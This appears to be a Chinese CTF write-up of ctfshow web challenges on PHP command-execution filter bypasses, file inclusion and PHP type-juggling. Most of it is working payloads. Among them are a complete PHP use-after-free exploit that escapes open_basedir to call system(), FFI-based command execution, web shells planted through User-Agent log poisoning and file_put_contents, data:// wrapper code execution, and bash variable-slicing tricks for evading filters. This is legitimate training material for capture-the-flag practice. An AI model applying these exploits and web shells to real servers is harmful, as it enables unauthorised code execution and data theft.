    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i"$c)){        system("cat ".$c.".php");
    }
}else{    highlight_file(__FILE__);
}

限制了很多很多关键字,上一道题目的 POC 已经用不了了,但是可以看到美元符和括号可以用,那我们就可以使用这种方法(flag in 36.php):

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

$(( ~$(()) )) :对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1
故我们在 $(( ~$(( )) )) 里面放37个 $((~$(()))),得到-37,取反即可得到36:

test.py

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3

try:
n = int(input("Input A Number (Number>=0): "))
if n < 0:
print("请输入非负整数!")
else:
cell = '$((~$(())))'
inner = ''.join([cell] * (n + 1))
print(f'$((~$(({inner}))))')
except ValueError:
print("请输入有效的整数!")

web58 & web59 & web60 & web61 & web62 & web63 & web64 & web65

1
2
3
4
5
6
if(isset($_POST['c'])){        
$c$_POST['c'];
eval($c);
}else{    
highlight_file(__FILE__);
}

没啥限制,直接 php 内置函数带走:

1
2
3
4
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(getcwd()))));
c=show_source('flag.php');
...

web66

源代码依旧,但是做了一些限制,位置移动到了根目录下。
payload:

1
2
3
4
5
c=print_r(scandir('/'));
// Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

c=highlight_file("/flag.txt");
// ctfshow{d40b0bd0-46e1-49ac-b0f3-5fe916567584}

web67

print_r 无法使用了,可以换成 c=var_dump(scandir("/"));
payloads:

1
2
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

web68

进去发现没有源代码,并且提示 highlight_file 被 ban,var_dump 还是可以爆出文件的位置在根目录,可以使用 include()函数来代替 highlight_file:

1
2
c=var_dump(scandir("/"));
c=include("/flag.txt");

web69 & web70

include 还是没有被 ban,尝试一下新的函数:

1
2
3
4
5
c=echo(implode('---',scandir("/")));
// .---..---.dockerenv---bin---dev---etc---flag.txt---home---lib---media---mnt---opt---proc---root---run---sbin---srv---sys---tmp---usr---var

c=readgzfile('/flag.txt');
// ctfshow{08aa4ceb-5317-4aa8-aeb2-584d369786c3}

web71

在使用 c=echo(implode('---',scandir("/"))); 查看根目录下的文件的时候,发现输出都是问号,这就说明程序劫持了输出缓冲将输出都替换成了 ?
有两种办法

  • 0x01 在劫持缓冲区之前就把缓冲区送出
1
2
3
4
5
ob_flush();
ob_end_flush();

c=readgzfile('/flag.txt');ob_flush();
c=readgzfile('/flag.txt');ob_end_flush();
  • 0x02 提前终止程序,执行完代码直接退出
1
2
3
4
5
exit();
die();

c=readgzfile('/flag.txt');exit();
c=readgzfile('/flag.txt');die();

++++ web72

https://blog.csdn.net/rawrecruit/article/details/123985474

1
2
1. var_export(scandir('.'));die(); #可以正常读取
2. var_export(scandir('/'));die(); #读取失败

由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域)
但是可以通过 glob:// 伪协议绕过

1
2
var_export(scandir('glob:///*'));die();
// 3 => 'flag0.txt'

接下来关于读 flag,利用的是 UAF 脚本绕过 open_basedir
(payload 需要 URLencode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

注意这边用 hackerbar 可能会卡顿,用 bp 的时候记得抓 hackerbar 发的包,不然会有些问题。
urlencode 直接用 bp 的 ctrl+U 即可。

web73

1
c=var_export(scandir('/'));exit(0);

查找到 flag 在根目录下的 flagc.txt 中,打开文件方法有很多,没做什么限制:

1
2
3
c=require_once('/flagc.txt');exit(0);
c=include('/flagc.txt');exit(0);
c=readgzfile('/flagc.txt');exit(0);

web74

1
2
c=var_export(glob('/*'));exit();
// array ( 0 => '/bin', 1 => '/dev', 2 => '/etc', 3 => '/flagx.txt', 4 => '/home', 5 => '/lib', 6 => '/media', 7 => '/mnt', 8 => '/opt', 9 => '/proc', 10 => '/root', 11 => '/run', 12 => '/sbin', 13 => '/srv', 14 => '/sys', 15 => '/tmp', 16 => '/usr', 17 => '/var', )
1
c=require_once('/flagx.txt');exit(0);

web75 & web76

逐渐抽象…
payload:

1
2
3
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
// bindevetcflag36.txthomelibmediamntoptprocrootrunsbinsrvsystmpusrvar

获取 flag 这里用的是答案给的 mysql 的 load_file

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
> getMessage();exit(0);}exit(0);

++++ web77

1
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.' ');}exit();

查看根目录文件,看到敏感文件 flag36x.txt, 同时存在 readflag 文件

题目给提示 php7.4 ,这个版本及以上有 FFI 扩展, 通过这个扩展语言,绕过 open_basedir 限制
payload:

1
2
3
4
c=
$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
1
2
ctfshow{3fcf9ea0-f03e-4447-9d3d-17074f1095fd}
ctfshow flag getter

++++ web118

这题和 hackergame2024 PowerfulShell 差不多,使用切片的方式构造 payload

题外 (HackerGame2024 PowerfulShell WP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PowerfulShell@hackergame> ~
/players/PowerfulShell.sh: line 16: /players: Is a directory

PowerfulShell@hackergame> _1=~
PowerfulShell@hackergame> _2=${_1:2:1}
PowerfulShell@hackergame> _3=${_1:7:1}
PowerfulShell@hackergame> _4=`$_2$_3 ~`
PowerfulShell@hackergame> $_4
/players/PowerfulShell.sh: line 16: PowerfulShell.sh: command not found

(此时_4为: PowerfulShell.sh: command not found, 提取sh出来执行即可。)

PowerfulShell@hackergame> _5=${_4:14:2}
PowerfulShell@hackergame> $_5

回归正题

1
//flag in flag.php

先看一下过滤情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests

# 用户配置区域
url = "http://8f8425e0-340d-492f-82e8-c0730a2cb99b.challenge.ctf.show/" # 目标地址
method = "POST" # 支持 "GET" 或 "POST"
param_name = "code" # 提交参数名
filter_keyword = "evil" # 如果响应中包含该关键词,视为该字符被过滤
success_codes = [200] # 正确响应码列表(可选)

# 枚举字符(可扩展)
charset = (
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"0123456789"
"!@#$%^&*()_+-=~`{}[]:;\"'<>,.?/\\|"
)

unfiltered_chars = []

print(f"[+] Start testing {len(charset)} characters...")

for ch in charset:
payload = {param_name: ch}
try:
if method.upper() == "GET":
response = requests.get(url, params=payload, timeout=5)
elif method.upper() == "POST":
response = requests.post(url, data=payload, timeout=5)
else:
print("[-] Unsupported HTTP method")
break

content = response.text
status = response.status_code

if (filter_keyword not in content) and (status in success_codes):
print(f"[+] Character '{ch}' is NOT filtered")
unfiltered_chars.append(ch)
else:
print(f"[-] Character '{ch}' is filtered")

except requests.RequestException as e:
print(f"[!] Error testing character '{ch}': {e}")

# 打印最终结果
print("\n=== 可用字符列表 ===")
print("".join(unfiltered_chars))

1
2
=== 可用字符列表 ===
ABCDEFGHIJKLMNOPQRSTUVWXYZ@#$_~{}:;.?

能用的一般,但是可以构造 Bash 内置变量

重点:
环境变量 PATH 的结尾一般是 /bin ,当前路径 PWD 题目中可猜测为 /var/www/html
我们可以用切片的方式来构造 nl ????.??? 获取 flag (PATH+PWD 结尾一字符加起来刚好是 nl)

1
2
3
4
5
xekoner@NEVER-X-10-eJ:~$ echo ${PATH:~0:1} (~代表取反,从最后开始取) (因为题目有限制,数字被过滤)
n

xekoner@NEVER-X-10-eJ:~$ echo ${PATH:~E} (使用取反号时,任何字母等同于数字0)
n

于是我们就可以构造 payload:

1
${PATH:~A}${PWD:~A} ????.???

++++ web119 & web120

输入上一题的 payload 已经被拦截了,尝试新的方法;

数字绕过

1
2
3
4
5
0: `${PATH:~E}`
1: `${#SHLVL}`, `${##}`, `${#?}`
2:用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用 `${PHP_VERSION:~A}` 代替。
3:`${#IFS}` =3。(linux下是3,mac里是4)
4或者5:`${#RANDOM}` 返回的值大多数是4和5,其中5的概率多一些。(linux下)

特殊字符绕过

1
2
3
4
5
6
`${PWD}` :/var/www/html  
`${USER}` :www-data
`${HOME}` :当前用户的主目录
`/`:`${PWD::${#SHLVL}}`
`a`:`${USER:~A}`
`t`:`${USER:~${#SHLVL}:${#SHLVL}}`

payload1: 构造 /???/?a? ????.???

1
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

payload2: 构造 /???/??t ????.???(这个就是只有flag.php的内容)

1
2
3
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.???
/
${PWD::${#?}}???${PWD::${#?}}??${USER:~${#?}:${#?}} ????.??? (web120)

payload3/1: 构造 /???/r?? ????.??? (web121 -> /bin/rev)

1
${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???

payload3/2:构造 /???/??v ????.??? (web121 -> /bin/rev)

1
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

payload3 使用后 cc reverse 即可。

web122

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/'$code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

PWD 被过滤,但是 HOME 没有,可以通过 HOME 获取 / , 但是需要数字1,而且 # 被过滤了,这里需要使用 $? 构造1:
$1 是表示上一条命令执行结束后的传回值,表示不同类型的错误。0代表执行成功,非0代表执行有误。
这里是为了构造1,所以要让前一条命令是错误的,这里使用 <A

为了构造 base64中的4 , 使用 RANDOM :
4或者5:${#RANDOM} 返回的值大多数是4和5,其中5的概率多一些。(linux 下)
但是是有概率的,需要多尝试几次(真难)。

payload: /???/?????4 ????.??? -> /bin/base64 ????.???

1
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

半天点不出上玄学了:

1
for i in {1..20} ; do curl -X POST -d 'code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???' http://6cf00967-b27d-4e1a-9a62-02e4229b047d.challenge.ctf.show/; done

文件包含

web78

最基础的无任何过滤文件包含,payloads:

0x01, data 伪协议:

1
2
?file=data://text/plain,<?php system("ls")?>
?file=data://text/plain,<?php system("nl ./flag.php")?>

0x02: filter 伪协议

1
?file=php://filter/convert.base64-encode/resource=flag.php

0x03: 日志包含

1
2
?file=../../../../var/log/nginx/access.log
<?php eval($_POST[a]); ?>

web79

file 中允许出现 php,但是在 RCE 中学会了很多绕过的方法,同样这题的 payload 有很多, payloads:

0x01, data 伪协议:

1
data://text/plain,<?=system('tac flag*');?>

0x02, base64绕过

1
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

php 和 data 都被过滤,这里采用邮件注入。

1
?file=../../../../var/log/nginx/access.log

发现包含了 User-Agent 头部,直接从 UA 下手,写入马,然后包含即可。

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36<?php system($_POST['x']);?>

POST 请求:

1
2
3
x=id

ile=../../../../../../var/log/nginx/access.log HTTP/1.1" 200 1387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data) " 172.12.23.142 - - [28/Jul/2025:03:05:17 +0000] "GET /?file=../../../../../../var/log/nginx/access.log HTTP/1.1" 200 1851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

用 tac 爆出来就行:

1
2
3
x=tac fl0g.php

file=../../../../../../var/log/nginx/access.log HTTP/1.1" 200 1387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36$flag="ctfshow{8c3b36a1-014a-4028-aabf-6f72827e35ac}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /*

web81

和上一题同理,邮件包含。

web82

1

PHP 特性

web89

1
2
3
4
5
6
7
8
if(isset($_GET['num'])){    $num $_GET['num'];  
    if(preg_match("/[0-9]/"$num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

不允许输入数字,但是下面是用了 intval 函数判断,可以通过输入列表来绕过
* intval 转换数组类型时不关心数组中的内容只判断数组中有没有元素

  • 空数组返回0
  • 非空返回1

payload:

1
?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");  
highlight_file(__FILE__);
if(isset($_GET['num'])){    $num $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

不全是字符即可,payload 有很多:

1
2
3
4
5
6
7
?num=4476a
?num=4476A
?num=+4476
?num=4476;
?num=4476"
?num=0x117c
?num=4476.0

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);  
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im'$a)){
    if(preg_match('/^php$/i'$a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

必须包含 php 又不能包含 php…?
绕过正则, %0a 截断,payloads:

1
aaa%0aphp

web92

1
2
3
4
5
6
7
8
9
10
11
include("flag.php");  
highlight_file(__FILE__);
if(isset($_GET['num'])){    $num $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

payload:

1
?num=4476e1

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include("flag.php");  
highlight_file(__FILE__);
if(isset($_GET['num'])){    $num $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i"$num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

增加了对字符的过滤,但是依旧可以绕过:
payloads:

1
2
3
?num=010574 (八进制绕过,开头为0的,但不以 0x 或 0X 等开头会解析为八进制)
?num=4476.1
?num=+4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");  
highlight_file(__FILE__);
if(isset($_GET['num'])){    $num $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i"$num)){
        die("no no no!");
    }
    if(!strpos($num"0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos 函数会搜索字符串中第一个出现的字符,这里0不能第一个出现在输入的字符串中,有几种方法可可以绕过:
payloads

1
2
?num=4476.0
?num=%20010574 (利用%20空格绕过第一个字符不为0)

web95

1
if(preg_match("/[a-z]|\./i"$num)){

多了点,小数点的绕过不能用了,继续八进制绕过:

1
?num=%20010574

web96

1
2
3
4
5
6
7
8
9
10
11
  
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{        highlight_file($_GET['u']);
    }


}

不能出现完整的 flag.php, ./ 代表当前目录:

1
2
?u=./flag.php
?u=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

web97

1
2
3
4
5
6
7
8
9
include("flag.php");  
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

强比较,但是可以利用数组绕过:

1
a[]=1&b[]=2

web99

1
2
3
4
5
6
7
8
9
10
11
  
highlight_file(__FILE__);
$allow array();
for ($i=36$i 0x36d$i++) {     
array_push($allowrand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){    
file_put_contents($_GET['n'], $_POST['content']);
}

?>
1
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=19.php自动转换为19

payload:

1
2
3
https://ff5237bb-e661-4ca6-9fa5-7cbdc720fa6e.challenge.ctf.show?n=19.php

content=<?php system($_GET['x']); ?>

访问19.php 后直接 tac 打即可。


前面几题炸了,没保存上不补了

web106

1
2
3
4
5
6
7
8
highlight_file(__FILE__);  
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){    $v1 $_POST['v1'];    $v2 $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

简单的 sha1 弱比较绕过,两个参数不能相等。
https://blog.csdn.net/cosmoslin/article/details/120973888

1
2
3
4
5
6
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);  
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){   
$v1 $_POST['v1'];    
$v3 $_GET['v3'];       
parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str 函数:

1
2
3
4
5
6
7
8
9
10
$str = "name=alice&age=20";
parse_str($str, $output);
print_r($output);

Output:
Array
(
[name] => alice
[age] => 20
)

总体来说就是前面一个参数输入的传递给第二个参数
那这一题来说 POST 传入的 v1就等于 v2, 同时 v2要求了 flag ,所以我们 v1就需要传入:v1=flag=
if($v2['flag']==md5($v3)) md5弱比较,flag=0 , v3传入有科学计数法的即可。

payload:

1
2
POST: v1=flag=0
GET: ?v3=QNKCDZO

md5 table:
https://blog.csdn.net/cosmoslin/article/details/120973888

1
2
3
4
5
6
7
8
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

第二解:利用数组绕过
GET传入 v3[]=1
md5($v3) 此时就等于 NULL, 这时候 v1可以随便输入,结果都可以满足

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);  
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$"$_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

ereg 为 php 的老正则函数
strrev 逆序
intval 转换为整数

0x36d 转为十进制为 877, 但是还需要满足正则,需要开头或者结尾为字母,那就只能截断
payload:

1
a%00778

web109

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);  
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){    $v1 $_GET['v1'];    $v2 $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/'$v1) && preg_match('/[a-zA-Z]+/'$v2)){
            eval("echo new $v1($v2());");
    }

}
  • 关于内置类的 eval("echo new $v1($v2());");
1
2
3
4
5
6
?v1=CachingIterator&v2=system(ls)  
?v1=DirectoryIterator&v2=system(ls)
?v1=Error&v2=system(ls)
?v1=Exception&v2=system(ls)
?v1=ReflectionClass&v2=system(%27id%27)
?v1=ReflectionFunction&v2=system(%27id%27)

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);  
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){    $v1 $_GET['v1'];    $v2 $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/'$v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/'$v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

过滤了很多,但是还是可以获取当前目录内容:

1
?v1=FilesystemIterator&v2=getcwd

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
highlight_file(__FILE__);  
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){    $v1 $_GET['v1'];    $v2 $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/'$v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/'$v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/'$v1)){            getFlag($v1,$v2);
    }
}

?>

看到 v1做了限制,必须与 ctfshow 匹配,v2可以传入 GLOBOLS 来绕过语法作用域的限制 (不能传入 flag)。
payload:

1
?v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php  

/*
# -*- coding: utf-8 -*-
@Author: Firebasky
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){    highlight_file(filter($file));
}else{
    echo "hacker!";
}

看到是包含文件,但是做了 filter:
不允许出现很多常见的伪协议,但是 filter 是可以用的,过滤掉了 base 系列,但是还是有其他的选项

payloads:

1
2
3
4
5
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
